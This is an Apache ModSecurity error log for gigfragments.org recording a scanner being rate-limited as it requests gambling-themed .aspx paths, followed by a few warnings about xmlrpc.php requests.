[Thu Feb 05 19:31:39.267857 2026] [:error] [pid 31775:tid 31829] [client 51.83.7.88:56328] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aYR_mxNlTj92HTKsJN0imgAAARg"]
[Thu Feb 05 19:31:41.311256 2026] [:error] [pid 33396:tid 33405] [client 51.83.7.88:56334] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aYR_nfTgp_Ev6LiSSgDG_wAAAMI"]
[Thu Feb 05 19:31:43.177800 2026] [:error] [pid 19246:tid 19252] [client 51.83.7.88:50910] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aYR_n3E1Gc0V44f4mCdI0AAAAgE"]
[Thu Feb 05 19:31:45.233110 2026] [:error] [pid 33396:tid 33418] [client 51.83.7.88:50914] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aYR_ofTgp_Ev6LiSSgDHAgAAAM8"]
[Thu Feb 05 19:31:47.285642 2026] [:error] [pid 31774:tid 31800] [client 51.83.7.88:50920] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aYR_o6jDlLg1NOhSOXUsSwAAAJY"]
[Thu Feb 05 19:31:49.295042 2026] [:error] [pid 19213:tid 19231] [client 51.83.7.88:50926] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aYR_pV7WBXhXgHKWAIBcLwAAAc0"]
[Thu Feb 05 19:31:51.319155 2026] [:error] [pid 31775:tid 31817] [client 51.83.7.88:50938] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aYR_pxNlTj92HTKsJN0irQAAAQw"]
[Thu Feb 05 19:31:53.330369 2026] [:error] [pid 19246:tid 19257] [client 51.83.7.88:54894] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aYR_qXE1Gc0V44f4mCdI6AAAAgY"]
[Thu Feb 05 19:31:55.353305 2026] [:error] [pid 19246:tid 19258] [client 51.83.7.88:54902] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aYR_q3E1Gc0V44f4mCdI7wAAAgc"]
[Thu Feb 05 19:31:57.361344 2026] [:error] [pid 33122:tid 33135] [client 51.83.7.88:54912] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aYR_rfW0IebAnFB9KDAlFgAAAEs"]
[Thu Feb 05 19:31:59.401492 2026] [:error] [pid 14577:tid 14591] [client 51.83.7.88:54916] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aYR_r5ZbKwRdMc_HlgKDeAAAAUw"]
[Thu Feb 05 19:32:01.408341 2026] [:error] [pid 33122:tid 33133] [client 51.83.7.88:54928] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aYR_sfW0IebAnFB9KDAlIwAAAEk"]
[Thu Feb 05 19:32:03.423479 2026] [:error] [pid 31775:tid 31813] [client 51.83.7.88:39354] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYR_sxNlTj92HTKsJN0itQAAAQg"]
[Thu Feb 05 19:32:05.443721 2026] [:error] [pid 31833:tid 31836] [client 51.83.7.88:39362] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aYR_tRzypZt5yekRAkFT8AAAAYE"]
[Thu Feb 05 19:32:07.453309 2026] [:error] [pid 33122:tid 33127] [client 51.83.7.88:39366] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aYR_t_W0IebAnFB9KDAlOgAAAEM"]
[Thu Feb 05 19:32:09.460400 2026] [:error] [pid 31833:tid 31840] [client 51.83.7.88:39376] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aYR_uRzypZt5yekRAkFT9AAAAYU"]
[Thu Feb 05 19:32:11.476633 2026] [:error] [pid 31775:tid 31809] [client 51.83.7.88:39390] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aYR_uxNlTj92HTKsJN0ivQAAAQQ"]
[Thu Feb 05 19:32:13.487071 2026] [:error] [pid 31774:tid 31781] [client 51.83.7.88:59180] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aYR_vajDlLg1NOhSOXUsagAAAIM"]
[Thu Feb 05 19:32:15.497223 2026] [:error] [pid 33396:tid 33411] [client 51.83.7.88:59182] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aYR_v_Tgp_Ev6LiSSgDHJgAAAMg"]
[Thu Feb 05 19:32:17.373174 2026] [:error] [pid 33122:tid 33145] [client 51.83.7.88:59186] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aYR_wfW0IebAnFB9KDAlUgAAAFU"]
[Thu Feb 05 19:32:19.377646 2026] [:error] [pid 33122:tid 33133] [client 51.83.7.88:59202] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aYR_w_W0IebAnFB9KDAlVQAAAEk"]
[Thu Feb 05 19:32:55.802593 2026] [:error] [pid 33122:tid 33138] [client 51.83.7.88:59214] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYR_5_W0IebAnFB9KDAllwAAAE4"]
[Thu Feb 05 19:32:57.605521 2026] [:error] [pid 33122:tid 33125] [client 51.83.7.88:40782] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYR_6fW0IebAnFB9KDAlpgAAAEE"]
[Thu Feb 05 19:32:59.603160 2026] [:error] [pid 31774:tid 31783] [client 51.83.7.88:40794] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYR_66jDlLg1NOhSOXUsnAAAAIU"]
[Thu Feb 05 19:33:01.607716 2026] [:error] [pid 31774:tid 31779] [client 51.83.7.88:40804] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYR_7ajDlLg1NOhSOXUsnwAAAIE"]
[Thu Feb 05 19:33:03.600729 2026] [:error] [pid 14577:tid 14603] [client 51.83.7.88:46076] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYR_75ZbKwRdMc_HlgKD2QAAAVg"]
[Thu Feb 05 19:33:05.605563 2026] [:error] [pid 14577:tid 14580] [client 51.83.7.88:46082] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYR_8ZZbKwRdMc_HlgKD2gAAAUE"]
[Thu Feb 05 19:33:07.603809 2026] [:error] [pid 31775:tid 31827] [client 51.83.7.88:46096] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYR_8xNlTj92HTKsJN0jCgAAARY"]
[Thu Feb 05 19:33:09.608798 2026] [:error] [pid 31833:tid 31852] [client 51.83.7.88:46100] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYR_9RzypZt5yekRAkFULQAAAZE"]
[Thu Feb 05 19:33:11.602435 2026] [:error] [pid 31833:tid 31848] [client 51.83.7.88:46116] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYR_9xzypZt5yekRAkFULgAAAY0"]
[Thu Feb 05 19:33:13.616087 2026] [:error] [pid 31739:tid 31763] [client 51.83.7.88:51084] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYR_-QGrHl_5BvMstJLUsAAAABY"]
[Thu Feb 05 19:33:15.615239 2026] [:error] [pid 31774:tid 31798] [client 51.83.7.88:51088] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYR_-6jDlLg1NOhSOXUstAAAAJQ"]
[Thu Feb 05 19:33:17.607895 2026] [:error] [pid 33396:tid 33411] [client 51.83.7.88:51102] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYR__fTgp_Ev6LiSSgDHegAAAMg"]
[Thu Feb 05 19:33:19.604783 2026] [:error] [pid 31775:tid 31827] [client 51.83.7.88:51114] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYR__xNlTj92HTKsJN0jHQAAARY"]
[Thu Feb 05 19:33:21.610476 2026] [:error] [pid 31739:tid 31755] [client 51.83.7.88:51128] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aYSAAQGrHl_5BvMstJLUuQAAAA4"]
[Thu Feb 05 19:33:23.613492 2026] [:error] [pid 31775:tid 31823] [client 51.83.7.88:47304] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aYSAAxNlTj92HTKsJN0jJAAAARI"]
[Thu Feb 05 19:33:25.623460 2026] [:error] [pid 19246:tid 19258] [client 51.83.7.88:47320] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aYSABXE1Gc0V44f4mCdJnAAAAgc"]
[Thu Feb 05 19:33:27.632606 2026] [:error] [pid 19213:tid 19232] [client 51.83.7.88:47324] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYSAB17WBXhXgHKWAIBc5QAAAc4"]
[Thu Feb 05 19:33:29.625394 2026] [:error] [pid 31774:tid 31794] [client 51.83.7.88:47340] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aYSACajDlLg1NOhSOXUsvwAAAJA"]
[Thu Feb 05 19:33:31.637183 2026] [:error] [pid 31833:tid 31858] [client 51.83.7.88:47356] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aYSACxzypZt5yekRAkFUOAAAAZc"]
[Thu Feb 05 19:33:33.633219 2026] [:error] [pid 19246:tid 19271] [client 51.83.7.88:57634] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aYSADXE1Gc0V44f4mCdJqAAAAhQ"]
[Thu Feb 05 19:33:35.658149 2026] [:error] [pid 31775:tid 31823] [client 51.83.7.88:57644] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aYSADxNlTj92HTKsJN0jLgAAARI"]
[Thu Feb 05 19:33:37.575386 2026] [:error] [pid 31775:tid 31807] [client 51.83.7.88:57670] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aYSAERNlTj92HTKsJN0jMAAAAQI"]
[Thu Feb 05 19:33:39.459501 2026] [:error] [pid 33122:tid 33134] [client 51.83.7.88:57672] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYSAE_W0IebAnFB9KDAl6QAAAEo"]
[Thu Feb 05 19:33:41.379464 2026] [:error] [pid 19213:tid 19234] [client 51.83.7.88:57694] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aYSAFV7WBXhXgHKWAIBc8gAAAdA"]
[Thu Feb 05 19:33:43.413736 2026] [:error] [pid 31739:tid 31760] [client 51.83.7.88:42700] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aYSAFwGrHl_5BvMstJLUzgAAABM"]
[Thu Feb 05 19:33:45.413242 2026] [:error] [pid 33122:tid 33132] [client 51.83.7.88:42702] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYSAGfW0IebAnFB9KDAl7gAAAEg"]
[Thu Feb 05 19:33:47.689476 2026] [:error] [pid 31775:tid 31808] [client 51.83.7.88:42716] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYSAGxNlTj92HTKsJN0jQQAAAQM"]
[Thu Feb 05 19:33:49.695388 2026] [:error] [pid 31775:tid 31823] [client 51.83.7.88:42732] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYSAHRNlTj92HTKsJN0jRwAAARI"]
[Thu Feb 05 19:33:51.732994 2026] [:error] [pid 31775:tid 31810] [client 51.83.7.88:42742] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aYSAHxNlTj92HTKsJN0jSgAAAQU"]
[Thu Feb 05 20:36:25.883777 2026] [:error] [pid 31775:tid 31813] [client 178.128.239.177:37012] [client 178.128.239.177] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.239.177, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYSOyRNlTj92HTKsJN0vdAAAAQg"]
[Thu Feb 05 20:36:35.922582 2026] [:error] [pid 31833:tid 31850] [client 50.6.35.18:44182] [client 50.6.35.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.35.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYSO0xzypZt5yekRAkFfmAAAAY8"]
[Thu Feb 05 20:36:42.841271 2026] [:error] [pid 31775:tid 31820] [client 162.0.235.223:50710] [client 162.0.235.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.235.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYSO2hNlTj92HTKsJN0vfwAAAQ8"]
[Thu Feb 05 20:37:02.390431 2026] [:error] [pid 31775:tid 31816] [client 103.163.138.95:59598] [client 103.163.138.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.163.138.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYSO7hNlTj92HTKsJN0vmAAAAQs"]
[Thu Feb 05 20:45:07.776443 2026] [:error] [pid 31833:tid 31847] [client 178.156.131.150:41332] [client 178.156.131.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.156.131.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYSQ0xzypZt5yekRAkFgzAAAAYw"]
